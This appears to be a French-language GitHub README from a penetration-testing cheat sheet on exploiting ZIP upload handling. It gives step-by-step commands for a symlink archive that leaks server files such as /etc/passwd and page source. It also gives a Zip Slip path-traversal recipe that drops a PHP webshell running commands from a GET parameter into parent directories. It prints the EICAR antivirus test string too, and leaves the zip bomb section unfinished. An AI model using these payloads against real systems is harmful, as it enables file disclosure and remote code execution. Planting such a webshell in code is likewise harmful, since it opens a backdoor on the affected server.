Skip to content

Files

Latest commit

61d1e83 · Aug 10, 2020

History

History

ZIP

ZIP

Facteur de risque : Information Disclosure, RCE via LFI, DoS

Extension : .zip, .zipx

Type MIME : application/zip

Description :

Le ZIP est un format de fichier permettant l'archivage (utilisation d'un seul fichier pour stocker plusieurs fichiers) et la compression de données (diminution de l'espace occupé sur le support numérique) sans perte de qualité.

Si un fichier ZIP téléversé est décompressé ensuite par le serveur, plusieurs attaques peuvent être effectué.

Sommaire

  • Information Disclosure : Zip Symlink
  • RCE via LFI : Décompression dans d'autres dossiers / Zip Slip
  • DoS : Zip Bomb
  • Test anti malware avec Eicar

Information Disclosure : Zip Symlink

Les archives peuvent contenir des liens symboliques. Un lien symbolique est un fichier spécial qui le lie à un autre fichier. En uploadant un ZIP contenant un lien symbolique qui sera décompressé par la suite, on peut accéder au fichier lié. Cette exploit permet donc de récupérer des fichiers présents sur le serveur.

Pré-requis

  • Le fichier ZIP doit être dézippé après avoir été uploadé.

  • Pourvoir accéder à ces fichiers

Attaque

  1. Il faut créer d'abord le lien symbolique sur le fichier visé (ici /etc/passwd):
ln -s /etc/passwd passwd.txt
  1. Puis d'archiver ce fichier (ajoutez -r pour archiver un dossier):
zip --symlinks passwd.zip passwd.txt
  1. Et enfin, téléverser ce fichier .zip. Le fichier passwd.txt contiendra alors les données de /etc/passwd du serveur web.

On peut ainsi récupérer les fichiers présents dans le serveur, comme le code source d'une page par exemple :

ln -s /var/www/html/index.php index.php

LFI : Décompression dans d'autres dossiers / Zip Slip

Les cybercriminels peuvent créer des archives Zip pour lancer des attaques par traversée de chemin afin d’écraser des fichiers importants sur les systèmes affectés, soit en les détruisant, soit en les remplaçant par d’autres fichiers malveillant

Cette méthode permet notamment de d'échapper au répertoires de téléchargement sécurisé, en remontant dans les répertoires non protégés pour pouvoir déposer un webshell par exemple.

Pré-requis

  • Le fichier Zip doit être dézippé après avoir été uploadé.

  • Pourvoir accéder à ces fichiers

Attaque

  1. (Facultatif) Aller dans le répétoire /tmp pour créer le fichier d'archive maveillant :
cd /tmp
  1. Écrire un webshell (ici en PHP) dans un fichier (ici webshell.php):
<?php echo "Shell";system($_GET['cmd']); ?>
  1. Puis, selon le niveau de profondeur voulu (ici jusqu'à 10), effetuez le code suivant :
for i in `seq 1 10`;do FILE=$FILE"xxA"; cp webshell.php $FILE"cmd.php";done
  1. Puis compresser le tout :
zip cmd.zip xx*.php
  1. Utiliser un éditeur hexadécimal pour changer les xxA en ../
  2. Et enfin, téléverser ce fichier .zip sur l'application. Le webshell apparaitra alors dans les dossiers parents.

https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

Eicar : Anti Malware Testfile

La plupart des logiciels antivirus détecte le fichier de test Eicar. En téléversant ce fichier dans une application, on peut vérifier la présence ou le bon fonctionnement du logiciel antivirus.

Le fichier de test eicar.com est un fichier exécutable en .com avec la chaîne ASCII suivante :

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

eicar_com.zip est un archive .zip contenant le fichier de test Eicar. Un bon logiciel d'antivirus devra détecter le "virus", même à l'intérieur d'une archive.

Et eicarcom2.zip est un archive .zip contenant l'archive du fichier de test Eicar. Ce fichier peut être uploadé pour voir si le logiciel d'antivirus vérifie les archives sur plusieurs niveaux de profondeur.

DoS : Zip Bomb

Pré-requis

  • Le fichier Zip doit être dézippé après avoir été uploadé.

Reference

Todo